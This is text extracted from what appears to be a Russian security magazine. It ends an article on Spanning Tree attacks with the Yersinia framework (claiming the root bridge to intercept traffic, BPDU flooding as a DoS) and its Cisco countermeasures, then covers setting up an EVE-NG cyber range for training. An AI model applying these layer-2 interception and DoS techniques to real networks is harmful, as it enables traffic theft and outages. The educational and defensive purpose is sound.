192.168.0.5, timeout is 2 seconds: .!!!! Мы видим, что все пакеты ICMP прошл­ и через наш компью­ тер. Пак­ еты ICMP прошл­ и через наш компью­ тер INFO ICMP тут использ­ уетс­ я тольк­ о для  нагл­ ядност­ и, таким образ­ ом можн­ о перехв­ атить любой траф­ ик, измен­ ив структ­ уру, пост­ рое­ нную STP. Расс­ мотр­ им такж­ е друг­ ие типы атак на  STP, которые позв­ оляе­ т выполн­ ять Yersinia. Тип­ ы атак фрейм­ ворк­ а Yersinia Sending conf BPDU  — мы един­ ожд­ ы отправ­ им BPDU, который заст­ авит комм­ утатор­ ы в  нашем L2-сегм­ енте перест­ рои­ ть дерево и  верн­ утьс­ я к исходной схем­ е, так как BPDU с нашей машины больш­ е не отправл­ яетс­ я. Root-bridge с  интервал­ ом в  две секунд­ ы отправл­ яет configuration BDPU, в котором указ­ аны основные параметр­ ы: напр­ имер, прио­ рит­ ет текущег­ о ком‐­ мутатор­ а, его MAC, MAC интерфейс­ а, с которог­ о BPDU был отправл­ ен, све‐­ дения о  том, нужн­ о ли запуст­ ить механизм FLUSH для  очист­ ки CAM-табл­ иц. Так как  в данн­ ом сцен­ арии мы пытались выдать себя за  root bridge, мы отправл­ яем configuration BPDU с прио­ рит­ етом, равн­ ым прио­ рит­ ету текущег­ о RB, но с меньш­ им MAC. Sending TCN BPDU заст­ авит root bridge запуст­ ить механизм очист­ ки CAM-табл­ иц от MAC-адрес­ ов, траф­ ик с которых не прих­ одит более 15 секунд. По умолч­ анию врем­ я, в течение которог­ о MAC-адрес хран­ итс­ я в табл­ ице, равн­ о 300 секунд­ ам. При измен­ ении сост­ ояния порт­ а (напр­ имер, UP/DOWN) участ­ вую­ щий в  STP комм­ утатор долж­ ен отправ­ ить служ­ ебн­ ый фрейм TCN (topology change notification) в стор­ ону root bridge для увед­ омл­ ения его о том, что прои­ зошл­ о измен­ ение в  сети. Остальн­ ые комм­ утатор­ ы не  знаю­ т, какие именн­ о MAC-адрес­ а находил­ ись за  этим порт­ ом конк­ ретн­ ого комм­ утатор­ а, в  результ­ ате чего запуск­ аетс­ я проц­ есс flush CAM-табл­ ицы. Все адрес­ а, которые не  были изуч­ ены в  течение  15  секунд, будут удал­ ены. Такого рода атак­ а позв­ оляе­ т нам увел­ ичить нагр­ узку на  сеть и  CPU комм­ утатор­ ов. TCN отправл­ яетс­ я един­ ожд­ ы. Прим­ ер сброс­ а тайм­ ера CAM-табл­ ицы при получен­ ии TC BPDU SW1#show spanning-tree VLAN0001 Spanning tree enabled protocol ieee Root ID Priority 8193 Address aabb.cc00.1000 This bridge is the root Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 8193 (priority 8192 sys-id-ext 1) Address aabb.cc00.1000 Hello Time Aging Time 2 sec Max Age 20 sec Forward Delay 15 sec 300 sec Посл­ е отправк­ и TCN BPDU: SW1#show spanning-tree VLAN0001 Spanning tree enabled protocol ieee Root ID Priority 8193 Address aabb.cc00.1000 This bridge is the root Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 8193 (priority 8192 sys-id-ext 1) Address aabb.cc00.1000 Hello Time Aging Time 2 sec Max Age 20 sec Forward Delay 15 sec 15 sec Sending conf BPDUs и  Sending TCN BPDU’s делаю­ т все вышео­ пис­ ан‐­ ное, но  в форм­ ате DoS. То есть при  отправк­ е configuration BPDU и  topology change BPDU сеть начинае­ т «шторм­ ить», CPU комм­ утатор­ а сильн­ о загр­ ужа‐­ ется. Счетч­ ик полученн­ ых BPDU SW2#show spanning-tree interface ethernet 0/2 detail Port 3 (Ethernet0/2) of VLAN0001 is designated forwarding Port path cost 100, Port priority 128, Port Identifier 128.3. Designated root has priority 8193, address aabb.cc00.1000 Designated bridge has priority 32769, address aabb.cc00.2000 Designated port id is 128.3, designated path cost 100 Hello is pending, Topology change is set Timers: message age 0, forward delay 0, hold 0 Number of transitions to forwarding state: 1 Link type is shared by default BPDU: sent 2330, received 6650463 Claiming root, other role и claiming root role with MITM — атак­ и, ана‐­ логичн­ ые нашему прим­ еру: измен­ яя прио­ рит­ ет или  MAC, мы можем перес‐­ траи­ вать текущее дерево STP. ЗАЩИТА В прот­ окол­ е STP заложен­ ы механизм­ ы, которые позв­ оляю­ т прес­ ечь появ‐­ ление новых устройс­ тв в качест­ ве root bridge, блок­ иров­ ать порт­ ы, на которые приш­ ел BPDU, либо включ­ ать полн­ ую фильт­ рац­ ию BPDU. INFO В данн­ ой статье мы расс­ матр­ ивае­ м принц­ ипы и команд­ ы, прим­ еняе­ мые на обор­ удов­ ании Cisco. Root guard При получен­ ии лучш­ его BPDU, чем нынешн­ ий, получаю­ щий этот BPDU интерфейс будет перевед­ ен в режим root-inconsistent. SW2(config)#interface ethernet 0/2 SW2(config-if)#spanning-tree guard root Сост­ ояние порт­ а при получен­ ии BPDU: *Aug 1 13:58:03.304: %SPANTREE-2-ROOTGUARD_CONFIG_CHANGE: Root guard enabled on port Ethernet0/2. SW2#show spanning-tree interface ethernet 0/2 Vlan Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- --------------------- ----------- VLAN0001 Desg BKN*100 128.3 Shr *ROOT_Inc Несл­ ожно догадатьс­ я, что при использ­ овании этой функ­ ции атак­ а с помощью фрейм­ ворк­ а будет недост­ упна. BPDU guard Позв­ оляе­ т огран­ ичив­ ать домен L2. При  получен­ ии любого BPDU порт перевод­ итс­ я в сост­ ояние err disable BPDU guard error. SW2(config)#interface ethernet 0/2 SW2(config-if)#spanning-tree bpduguard enable Посл­ е получен­ ия BDPU на порт­ е с функ­ цие­ й BPDU guard: *Aug 1 15:12:50.120: %SPANTREE-2-BLOCK_BPDUGUARD: Received BPDU on port Et0/2 with BPDU Guard enabled. Disabling port. SW2# *Aug 1 15:12:50.120: %PM-4-ERR_DISABLE: bpduguard error detected on Et0/2, putting Et0/2 in err-disable state *Aug 1 15:12:51.120: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet0/2, changed state to down *Aug 1 15:12:52.120: %LINK-3-UPDOWN: Interface Ethernet0/2, changed state to down SW2#show interfaces ethernet 0/2 Ethernet0/2 is down, line protocol is down (err-disabled) BPDU filter BPDU filter не отправл­ яет и не получае­ т BPDU на порт­ е. Иным­ и слов­ ами, про‐­ токол STP на этом интерфейс­ е выкл­ ючен. SW2(config-if)#spanning-tree bpdufilter enable Несл­ ожно догадатьс­ я, что при использ­ овании этих функ­ ций атак­ и с прим­ ене‐ нием фрейм­ ворк­ а будут недост­ упны. ВЫВОД Вот так легк­ о, не приб­ егая к сложн­ ым схем­ ам, можн­ о перехв­ атывать траф­ ик в  сети. STP  — дост­ аточн­ о прост­ ой прот­ окол с  отсутст­ вую­ щей по  умолч­ анию функ­ цие­ й защиты. Мног­ ие прен­ ебр­ егаю­ т устан­ овк­ ой защитн­ ых механизм­ ов в  L2-домене, что может прив­ ест­ и к  довольн­ о тяжк­ им посл­ едст­ вия­ м. Так как  STP избавляе­ т от  петель и  не заст­ авляе­ т весь траф­ ик идти обяз­ ательн­ о через RB, необх­ одимо точн­ о опред­ елитьс­ я с  напр­ авлен­ ием траф­ ика и  век‐­ тором атак­ и.

АДМИН СТРОИМ КИБЕРПОЛИГОН ИСПОЛЬЗУЕМ EVE-NG, ЧТОБЫ РАЗВЕРНУТЬ СЕТЬ ДЛЯ ХАКЕРСКИХ ИСПЫТАНИЙ При тест­ ирован­ ии средств безопасн­ ости, Kirill Murzin а  такж­ е при  обуч­ ении перс­ онала сцен­ ари‐ Discovering, exploring and ям атак и  защиты сетевой инфраструкт­ уры не  обойт­ ись без  средств вирт­ уализ­ ации. experiencing Част­ о для  этог­ о изобр­ етаю­ т велосип­ ед, [email protected] сооруж­ ая жутк­ ое нагр­ оможд­ ение из  вир‐­ туальн­ ых машин и  всев­ озм­ ожног­ о софт­ а. Мы же пойд­ ем иным путем: наст­ рои­ м плат‐­ форму эмул­ яции на  базе EVE-NG и  соз‐­ дадим на  ее основ­ е унив­ ерс­ альн­ ый мас‐ штаб­ ируе­ мый киберп­ олигон, позв­ оляю­ щий оттач­ ивать свои навыки сетевик­ ам и безопасн­ икам. Идея попр­ обовать совр­ еменн­ ую платф­ орму эмул­ яции возн­ икла, когд­ а я наб‐ людал за  работой команд­ ы инжен­ еров киберб­ езопасн­ ости. Они част­ о занимаю­ тся изуч­ ение­ м, разв­ ертыв­ ание­ м, интеграц­ ией и тест­ ирован­ ием раз‐­ ных прод­ укт­ ов. Венд­ оров и решений — огромное количест­ во, но знач­ итель‐­ ная их часть вращ­ аетс­ я вокр­ уг защиты одних и тех же клю­чевых сист­ ем, некой станд­ арт­ ной корп­ оративн­ ой инфраструкт­ уры: рабочих станц­ ий, серв­ еров AD, файл­ овых шар, почт­ овых серв­ еров, веб‑серв­ еров, серв­ еров баз данн­ ых. Так‐­ же в  любой инфраструкт­ уре прис­ утст­ вуе­ т некая станд­ арт­ ная иерарх­ ия групп польз­ овател­ ей, сетевая сегм­ ентац­ ия, набор ПО  и сетевое обор­ удов­ ание в виде комм­ утатор­ ов, марш­ рут­ изат­ оров, файр­ вол­ ов. Зад­ ачи по  интеграц­ ии, как  прав­ ило, тоже типичн­ ые: наст­ рои­ ть автор­ иза‐­ цию через AD/Radius, подр­ ужить с  почт­ ой, раск­ атать агент­ ов, собр­ ать клас‐­ тер, подать зерк­ алиров­ анн­ ый траф­ ик, отправл­ ять анал­ итик­ ам логи или флоу. Практ­ ика показыв­ ает, что без  станд­ артиз­ иров­ анн­ ого подх­ ода кажд­ ый инже‐­ нер со  врем­ енем нагород­ ит себе подобн­ ую инфраструкт­ уру, и  кажд­ ый  — со  свои­ м блек‑джек­ ом. В  результ­ ате получае­ тся целый зоопарк по‑разн­ ому сконф­ игурир­ ованн­ ых вирт­ уалок, на  которых крут­ итс­ я непонятн­ о что. Прост­ о взять и быст­ ро заюзать такие ВМ друг­ ой член команд­ ы, скор­ ее всег­ о, не смо‐­ жет. Пом­ имо разб­ рос­ анн­ ых на разн­ ых ESXi-хост­ ах «личн­ ых» ВМ, для тест­ ирова‐­ ния файр­ вол­ ов, запуск­ а малв­ ари и  проч­ их задач треб­ уютс­ я сегм­ ентир­ ован‐ ные сети, поэтом­ у в  такой инфраструкт­ уре порой встреч­ аютс­ я еще  и порт‑групп­ ы. Они необх­ одимы тольк­ о для  лаборат­ ории, но  по факт­ у ходят в  интернет через прод­ акш­ ен‑инфраструкт­ уру. Посл­ е увольн­ ения инжен­ ера подобн­ ые вирт­ уалк­ и прост­ о убив­ аютс­ я вмест­ е со  всем «накопл­ енным опы‐­ том». Короче говоря, такой подх­ од казалс­ я мне совс­ ем не эффективн­ ым, тем более в  нем не  использ­ уютс­ я некотор­ ые фичи и  гибк­ ость VMware. Я решил станд­ артиз­ иров­ ать проц­ есс, а заодн­ о прот­ ест­ ировать платф­ орму эмул­ яции. ЗАЧЕМ КИБЕРПОЛИГОН ИНЖЕНЕРАМ? Как ты, наверн­ ое, уже знае­ шь, киберп­ олигон — это некая вирт­ уальн­ ая сред­ а, нацеленн­ ая на  обуч­ ение. В  отлич­ ие, скаж­ ем, от  класс­ ическ­ их CTF-подобн­ ых соревн­ ований, на  киберп­ олигон­ е учатс­ я такж­ е и  защитн­ ики. Помимо кибер‐­ полигон­ ов, которые носят соревн­ овательн­ ый характ­ ер и  дост­ уп к  которым бесп­ латн­ ый, уже сущест­ вуе­ т целый класс недешев­ ых венд­ орс­ ких решений с  готовым­ и сцен­ ария­ ми атак и  защиты, позв­ оляю­ щий эффективн­ о обуч­ ать как  «синие» команд­ ы, так и  «красн­ ые»  — в  облак­ е по  подп­ иске или  on- premise. В  нашем случ­ ае была необх­ одима платф­ орма, позв­ оляю­ щая дос‐­ тигать след­ ующих целей: • эфф­ ективн­ ое внутр­ еннее/внешн­ ее обуч­ ение инжен­ еров; • полн­ оценн­ ый демост­ енд для заказч­ иков. ВЫБОР ПЛАТФОРМЫ Под наши нужд­ ы была выбр­ ана платф­ орма EVE-NG Community Edition  — это  форк извест­ ног­ о UNetLab, который больш­ е не  подд­ ержив­ аетс­ я. Данн­ ое решение очень любят сетевик­ и, и дейс­ твит­ ельн­ о есть за что. Ты тольк­ о пос‐­ мотри на прим­ еры сетевых тополог­ ий с класт­ ерами и BGP! Топ­ олог­ ия BGP Одн­ ако она созд­ ана не тольк­ о для сетевик­ ов: возм­ ожност­ и ее использ­ ования практ­ ическ­ и безг­ ран­ ичн­ ы, они зависят исключ­ ительн­ о от  фант­ азии и  име‐­ ющихс­ я знан­ ий. Для работы нам треб­ овалс­ я веб‑интерфейс, а у конк­ урент­ ов он прис­ утст­ вов­ ал на момент выбора тольк­ о в GNS3, да и то в бете. Обо всех фичах EVE-NG, включ­ ая верс­ ию Professional и Learning Center, в которых есть Docker и  подд­ ерж­ ка класт­ еризац­ ии, ты можешь проч­ итать на  офиц­ иальн­ ом сайт­ е, я же расс­ каж­ у о ключ­ евых возм­ ожност­ ях. • QEMU/KVM. В  данн­ ой связк­ е QEMU выст­ упае­ т в  роли эмул­ ятор­ а железа, он дост­ аточн­ о гибок и может запуск­ ать код, написанн­ ый для одной архи‐­ тект­ уры проц­ есс­ ора, на  друг­ ой (ARM на  x86  или  PPC на  ARM). KVM же, в  свою очер­ едь, позв­ оляе­ т дост­ игать высокой прои­ звод­ ительн­ ост­ и бла‐­ годар­ я вирт­ уализ­ ации с  аппар­ атн­ ой подд­ ерж­ кой, такой как  Intel VT-x и AMD-V. • IOU/IOL и Dynamips. Подд­ ерж­ ка стар­ еньк­ их, но вполн­ е рабочих комм­ утато‐­ ров и марш­ рут­ изат­ оров Cisco. • Опт­ имизац­ ия памяти UKSM в  ядре. При  одноврем­ енн­ ом использ­ овании одноо­ бразных ВМ позв­ оляе­ т дедупл­ ициров­ ать память и  тем самым сущест­ венн­ о сниз­ ить расх­ од RAM. • Полн­ оценн­ ый веб‑интерфейс на HTML5. • Мног­ опольз­ овательс­ кий режим для  одноврем­ енн­ ой работы разл­ ичных вирт­ уальн­ ых лаборат­ орий. • Взаи­ мод­ ейс­ твие с «наст­ оящей» сетью. УСТАНОВКА Мы разв­ ернул­ и «Еву» на  железе (bare metal). Для  такого типа устан­ овк­ и предъя­ вляю­ тся след­ ующие сист­ емные треб­ ован­ ия: ЦПУ  — Intel Xeon CPU supporting Intel® VT-x with Extended Page Tables (EPT), ОС  — Ubuntu Server 16.04.4 LTS x64. Все остальн­ ое зависит от предп­ олагае­ мой нагр­ узки: тут чем больш­ е, тем лучш­ е, особ­ енн­ о это касае­ тся ОЗУ. Если тебя смут­ ила стар­ ая верс­ ия ОС, то не  пережив­ ай, она будет подд­ ержив­ атьс­ я до  2024  года. Замечу, что Community-верс­ ия обновляе­ тся не  так част­ о, как  Professional, в  которой для  устан­ овк­ и на  железо треб­ уетс­ я уже  18.04 LTS. Если же ты весь такой в облак­ ах, то имей в виду, что EVE-NG офиц­ иальн­ о подд­ ержив­ ает GCP. INFO Знае­ шь ли ты, что в GCP (Azure, Яндексе) новый польз­ ователь может пол­ учить  300  долл­ аров в  виде бесп­ латн­ ых кред­ итов для  тест­ ирован­ ия серв­ исов, напр­ имер для  запуск­ а ВМ? И  что, помимо этог­ о, в  GCP есть «вытесн­ яемые ВМ»? Это  такие вирт­ уалк­ и, которые стоя­ т в  3–4  раза дешевл­ е обычн­ ых, но  живут макс­ имум  24  часа или  меньш­ е: если облак­ у потр­ ебую­ тся ресурс­ ы, которые занимае­ т эта ВМ, оно ее грохн­ ет. К сожален­ ию, политик­ а Google измен­ илась, и  бесп­ латн­ ые кред­ иты нельз­ я трат­ ить на  вытес‐­ няемые ВМ, но, если вдруг когд­ а‑нибудь тебе потр­ ебуе­ тся  128 RAM в  облак­ е и  задешев­ о, ты знае­ шь, что делать! ;) Мы же сейч­ ас с  тобой расс­ мотр­ им вариа­ нт быст­ рог­ о знак­ омст­ ва с  плат‐­ формой, разв­ ернув ее на  ноутб­ уке с  VMware Workstation. Подд­ ержив­ аетс­ я тольк­ о VMware, включ­ ая Player и  ESXi. Но  в любом случ­ ае след­ ует понимать, что влож­ енн­ ая (nested) вирт­ уализ­ ация (это когд­ а вирт­ уалк­ а работае­ т внутр­ и друг­ ой вирт­ уалк­ и) может плох­ о влия­ ть на  прои­ звод­ ительн­ ость. Такж­ е твой ЦПУ долж­ ен подд­ ержив­ ать техн­ ологии аппар­ атн­ ой вирт­ уализ­ ации, такие как Intel VT-x и AMD-V. Не забудь пров­ ерить, включ­ ены ли они в BIOS. Инт­ ересн­ о, что про  подд­ ерж­ ку AMD в  Community-верс­ ии офиц­ иальн­ о не  сообщ­ аетс­ я, а  вот в  документ­ ации к  Professional прои­ звод­ ител­ и уже написал­ и, что подд­ ержив­ ают посл­ едние верс­ ии проц­ есс­ оров. Как  бы то ни было, я разв­ ернул Community-верс­ ию на проц­ есс­ оре AMD Ryzen 5 4600H без каких‑либо пробл­ ем. Есл­ и ты использ­ уешь в качест­ ве хост­ овой ОС Windows, тебе след­ ует пом‐­ нить кое‑что о  роли Hyper-V, в  част­ ност­ и в  Windows 10. Вот что об  этом написан­ о на сайт­ е Microsoft: « We introduced a number of features that utilize the Windows Hypervisior. These include security enhancements like Windows Defender Credential Guard, Windows Defender Application Guard, and  Virtualization Based »Security as well as developer features like Windows Containers and WSL 2. Пом­ имо самой ОС и  ее фич, эту служб­ у может использ­ овать еще  и Docker Desktop. Из‑за этог­ о до  верс­ ии  15.5  включ­ ительн­ о VMware Workstation (как и VirtualBox) вообщ­ е не работал­ а на хост­ е с включ­ енн­ ой ролью Hyper-V. Кол‐­ лаборац­ ия Microsoft и  VMware позв­ олила все же сдел­ ать интеграц­ ию Workstation с  WHP через API, благ­ одар­ я чему появил­ ось раб­ очее решение. Но, к  сожален­ ию, помимо того, что такая связк­ а стал­ а медл­ енней работать, имее­ тся главн­ ое огран­ ичен­ ие, а именн­ о — функ­ ции Intel VT-x / AMD-V недос‐­ тупны для  гост­ евых ВМ. Служб­ а Hyper-V экск­ люз­ ивн­ о использ­ ует VT-x, огра‐­ ничив­ ая к нему дост­ уп друг­ им гиперв­ изорам. Поэ­ том­ у, если на  твое­ м хост­ е включ­ ена роль Hyper-V, проа­ нал­ изир­ уй, для  чего она использ­ уетс­ я, и  при возм­ ожност­ и отключ­ и ее. Если это  невоз‐­ можно, использ­ уй друг­ ой ПК, серв­ ер или облак­ о. Я рекоменд­ ую качн­ уть сраз­ у книг­ у рецепт­ ов EVE-NG в форм­ ате PDF. В ней содерж­ ится исчерпыв­ ающее руководст­ во по всем­ у прое­ кту, от А до Я. Итак, для быст­ рог­ о разв­ ертыв­ ания мы скач­ аем ZIP-архив с OVF-образ­ ом, расп­ акуе­ м архив и  двойн­ ым щелч­ ком мыши по  EVE-COMM-VM.ovf импорти‐­ руем его в Workstation. Имп­ орт OVF Отк­ рое­ м свойс­ тва, добавим при необх­ одимост­ и памяти и проц­ есс­ оров. Убе‐­ дись, что у  тебя стои­ т галочк­ а Virtualize Intel VT-x/EPT or AMD-V/RVI в  групп­ е наст­ рое­ к Virtualization engine. Без  нее EVE-NG будет заг‐­ ружатьс­ я сама, можн­ о открыв­ ать и  созд­ авать лаборат­ ории, но  ВМ внутр­ и лаборат­ ории запуск­ атьс­ я не будут. Свойс­ тва ВМ Для нагл­ ядност­ и мы выберем режим Bridged у  сетевог­ о адапт­ ера, тем самым наши ВМ внутр­ и лаборат­ ории стан­ ут дост­ упны напр­ ямую в локальн­ ой сети. →Продолжение статьи

АДМИН ← НАЧАЛО СТАТЬИ СТРОИМ КИБЕРПОЛИГОН ИСПОЛЬЗУЕМ EVE-NG, ЧТОБЫ РАЗВЕРНУТЬ СЕТЬ ДЛЯ ХАКЕРСКИХ ИСПЫТАНИЙ РАБОТА С ПЛАТФОРМОЙ Зап­ уск­ аем EVE-VM в Workstation. Посл­ е успешной загр­ узки ты получишь приг‐­ лашение на ввод пароля. Пригл­ ашение на ввод пароля Лог­ инимс­ я, использ­ уя станд­ арт­ ную учетк­ у root/eve для конс­ оли. Дал­ ее отвеч­ аем на станд­ арт­ ные вопр­ осы по наст­ ройк­ е ОС, такие как: • New root password; • Hostname; • DNS domain name; • DHCP/Static IP address; • NTP Server; • Proxy Server configuration. Посл­ е ответ­ а на  посл­ едний вопр­ ос сист­ ема автом­ атич­ еск­ и перезагр­ узитс­ я. По  заверш­ ении перезагр­ узки открыв­ аем веб‑интерфейс по  IP-адрес­ у, ука‐­ занн­ ому в конс­ оли ВМ, и логинимс­ я, использ­ уя учетк­ у admin/eve. Конс­ оли управлен­ ия По больш­ ей част­ и вся работа с  платф­ ормой выполн­ яетс­ я через веб‑интерфейс. По SSH подк­ люч­ атьс­ я к «Еве» прих­ одитс­ я лишь изредка, нап‐­ ример для  подг­ отовк­ и образ­ ов. Сущест­ вуе­ т два вариа­ нта подк­ люч­ ения к монитор­ у ВМ: через нативн­ ые прил­ ожен­ ия или конс­ оль HTML5. При выборе нативн­ ой конс­ оли на  ПК, с  которог­ о открыт веб‑интерфейс, долж­ ны быть устан­ овл­ ены прил­ ожен­ ия для  удал­ енн­ ого дост­ упа и  Wireshark. Набор софт­ а разн­ ится в зависим­ ост­ и от ОС, а такж­ е треб­ уетс­ я некотор­ ый тюнинг реест­ ра, поэтом­ у рекоменд­ уетс­ я использ­ овать Windows/Linux/Apple Client Side Integration Pack, содерж­ ащий все необх­ одимое, включ­ ая скрипт­ ы для  кон‐­ фигурац­ ии. При использ­ овании же конс­ оли HTML5 все управлен­ ие ведетс­ я полн­ остью через брау­ зер. Конс­ оль работае­ т на  Apache Guacamole, как  во мног­ их сов‐­ ременн­ ых венд­ орных лаборат­ ория­ х. Посл­ е логина мы попадае­ м в некий файл­ овый менедж­ ер, где у нас хран­ ят‐­ ся файл­ ы лаборат­ орий. Снач­ ала я покажу тебе готовую корп­ оративн­ ую лаборат­ орию, а  потом мы созд­ адим для  прим­ ера свою. Отмеч­ у лишь, что для  лучш­ его визуа­ льн­ ого отобр­ ажения мног­ ие соедин­ ения на  этой схем­ е были измен­ ены или вовс­ е удал­ ены. Отк­ рыть лаборат­ орию По свое­ й сути файл лаборат­ ории  — это  конф­ иг в  форм­ ате XML, опис­ ыва‐­ ющий конф­ игурац­ ию нод, их расп­ оложен­ ие на  поле, соедин­ ения и  проч­ ее. Ноды — это объе­ кты ВМ, которые могут быть образ­ ами IOL/Dynamips/QEMU. Лабы можн­ о клон­ иров­ ать, экспорт­ ировать и  импортир­ овать прям­ о через веб‑интерфейс. Конф­ иг лаборат­ ории При открыт­ ии лаборат­ ории демонст­ рир­ уетс­ я вид тополог­ ии, чем‑то похожий на  Visio. На  этой тополог­ ии добавл­ яютс­ я и  соедин­ яютс­ я межд­ у собой ноды. Слев­ а в меню находитс­ я все, что необх­ одимо для работы, ноды можн­ о запус‐­ кать сраз­ у все, а можн­ о выборочн­ о. Вид тополог­ ии В отлич­ ие от Visio, при щелч­ ке по значк­ у открыв­ аетс­ я удал­ енн­ ое подк­ люч­ ение к ноде. Мон­ итор Windows 10 Мон­ итор Kali Linux Кажд­ ая нода имее­ т свои станд­ арт­ ные наст­ ройк­ и ВМ, такие как  образ, с  которог­ о выполн­ яетс­ я загр­ узка, количест­ во CPU, RAM, Ethernet-порт­ ов, аргум­ ент­ ы для гиперв­ изора и друг­ ое. Наст­ ройк­ и ноды Наст­ ройк­ и ноды, прод­ олж­ ение СЕТИ В «Еве» два главн­ ых вида сетей: мост и  интерфейс управлен­ ия. В  основном тебе прид­ етс­ я щелк­ ать мышью на  нодах и  выбирать порт­ ы источник­ а и  наз‐­ начения. Это  как раз одна из  прич­ ин, по  которым сетевик­ ам так нрав­ итс­ я «Ева»: в  ESXi, напр­ имер, для  «чист­ ых» соедин­ ений point-to-point треб­ уетс­ я созд­ авать отдельн­ ый vSwitch и порт‑групп­ у, что отним­ ает кучу врем­ ени и сил. Сое­ дин­ ение нод Сеть в  режиме мост­ а дейс­ твуе­ т как  неупр­ авляе­ мый комм­ утатор. Она под‐­ держив­ ает передач­ у помеченн­ ых пакетов dot1q. Это  может быть необ‐­ ходимо, когд­ а нам нужн­ о соедин­ ить множ­ ест­ во узлов в плоск­ ую (dot1q) сеть без  использ­ ования образ­ а сетевог­ о устройс­ тва. Получитс­ я полн­ остью изо‐­ лиров­ анн­ ая вирт­ уальн­ ая сеть. Сеть в режиме мост­ а Втор­ ой вариа­ нт сети называе­ тся «сеть управлен­ ия» с  имен­ ами Cloud0/ Pnet0. Этот интерфейс наст­ рое­ н в  режиме мост­ а с  перв­ ым сетевым адап‐­ тером серв­ ера. Благ­ одар­ я этом­ у ты можешь сдел­ ать ноды дост­ упным­ и нап‐­ рямую по  сети, они будут находитьс­ я в  том же сетевом сегм­ енте, что и  интерфейс управлен­ ия, и  могут взаи­ мод­ ейс­ твов­ ать с  друг­ ими внешн­ ими сетями. Сеть управлен­ ия Ост­ альн­ ые интерфейс­ ы Cloud* можн­ о связ­ ать со  втор­ ым и  выше порт­ ом Ethernet для подк­ люч­ ения к друг­ ой сети или к устройс­ тву. Наст­ раи­ вать на них IP-адрес не  треб­ уетс­ я. Они будут дейс­ твов­ ать как  чист­ ый мост межд­ у твои­ м внешн­ им соедин­ ение­ м и лаборат­ орн­ ой нодой. →Продолжение статьи

АДМИН ← НАЧАЛО СТАТЬИ СТРОИМ КИБЕРПОЛИГОН ИСПОЛЬЗУЕМ EVE-NG, ЧТОБЫ РАЗВЕРНУТЬ СЕТЬ ДЛЯ ХАКЕРСКИХ ИСПЫТАНИЙ ОБРАЗЫ «Ева» пост­ авляе­ тся без  образ­ ов, на  борт­ у имее­ тся тольк­ о Virtual PC с базовой сетевой функ­ цио­ нальн­ остью. Вирт­ уальн­ ый ПК Спис­ ок подд­ ержив­ аемых образ­ ов на сайт­ е не  всегд­ а актуа­ льн­ ый, об  этом напр­ ямую говоритс­ я в документ­ ации. Из‑за лиценз­ ионн­ ых огран­ ичен­ ий авто‐­ ры прое­ кта не могут выкл­ адывать у себя на сайт­ е прям­ ые ссылк­ и на образ­ ы, но на практ­ ике любой образ можн­ о найт­ и на торр­ ентах. А если ты работае­ шь в интеграт­ оре, так это вообщ­ е не пробл­ ема. Образы Dynamips/IOL С образ­ ами сетевых устройс­ тв Dynamips/IOL почт­ и ничего делать не  нужн­ о, кром­ е выя­ снен­ ия знач­ ения IDLE PC и  созд­ ания файл­ а лиценз­ ии. К  сожале‐­ нию, не все функ­ ции этих сетевых устройс­ тв подд­ ержив­ аютс­ я. Их конф­ иги хран­ ятс­ я в  отдельн­ ом мест­ е, в  меню startup-configs и  в NVRAM, а  не в  самом файл­ е образ­ а. NVRAM использ­ уетс­ я как  пост­ оянн­ ое хран­ илищ­ е с  возм­ ожностью записи для  начальн­ ой конф­ игурац­ ии. В  проц­ есс­ е загр­ узки нода всегд­ а будет пров­ ерять NVRAM на наличие сохр­ аненн­ ой конф­ игурац­ ии. Загр­ узочн­ ые конф­ иги Проц­ есс загр­ узки таких образ­ ов изобр­ ажен на  след­ ующей схем­ е и  в целом понятен без дополн­ ительн­ ых поясн­ ений. Пор­ ядок загр­ узки конф­ игов Образы QEMU/KVM Все остальн­ ые сист­ емы будут работать в виде QEMU-образ­ ов. Особ­ енн­ ость работы этих образ­ ов в «Еве» закл­ ючае­ тся в том, что снач­ ала созд­ аетс­ я некий базовый образ, а при запуск­ е и работе ВМ все измен­ ения пишутс­ я в отдель‐­ ный файл. Это  можн­ о расц­ енивать как  свое­ го рода снапш­ оты, прив­ язанн­ ые к отдельн­ ым польз­ овател­ ям. Так­ ой механизм очень удоб­ ен при  групп­ овом обуч­ ении, когд­ а неск­ ольк­ о инжен­ еров делаю­ т паралл­ ельн­ о одну лаборат­ орн­ ую работу: измен­ ение нас‐­ трое­ к в  образ­ е у  одног­ о польз­ овател­ я никак не  влия­ ет на  остальн­ ых. Если образ стал неработ­ осп­ особн­ ым вследст­ вие непр­ авильн­ ых наст­ рое­ к и  на поиск пробл­ емы нет врем­ ени, можн­ о нажать кнопк­ у Wipe (Wipe all nodes), и  образ в  лаборат­ ории у  конк­ ретн­ ого польз­ овател­ я верн­ ется к  сост­ оянию базовог­ о. Пом­ имо проч­ его, такая схем­ а такж­ е решае­ т пробл­ ему лиценз­ ирован­ ия — нужн­ а тольк­ о одна лиценз­ ия. Параметр­ ы, к  которым прив­ языв­ аютс­ я лицен‐­ зии, не меняю­ тся, как это прои­ сход­ ит, напр­ имер, при клон­ иров­ ании в ESXi. Крупн­ ые венд­ оры обычн­ о пред­ ост­ авляю­ т неск­ ольк­ о вариа­ нтов образ­ ов свои­ х ВМ: VMware, KVM, Hyper-V. Но  если готовог­ о образ­ а нет, его можн­ о созд­ ать или сконв­ ертир­ овать из имею­ щег­ ося. Конвертация образа Для конв­ ертац­ ии образ­ а необх­ одимо использ­ овать конс­ ольн­ ую утил­ иту qemu-img, уже устан­ овл­ енную в  «Еве». Тольк­ о имей в  виду, что qemu-img и /opt/qemu/bin/qemu-img — разн­ ых верс­ ий, поэтом­ у использ­ уй полн­ ый путь, как указ­ ано в документ­ ации. Напр­ имер, эта команд­ а конв­ ертир­ ует образ VMware в образ QEMU: $ /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 image.vmdk image. qcow2 Ост­ альн­ ые форм­ аты и аргум­ ент­ ы для конв­ ертац­ ии смотр­ и в табл­ ице: Форм­ ат образ­ а Арг­ умент QCOW2 (KVM, Xen) qcow2 QED (KVM) qed raw raw VDI (VirtualBox) vdi VHD (Hyper-V) vpc VMDK (VMware) vmdk Создание своего образа При созд­ ании свое­ го образ­ а след­ ует руководст­ вов­ атьс­ я прав­ илам­ и име‐­ нован­ ия папок и образ­ ов диск­ а, так как сист­ ема к ним 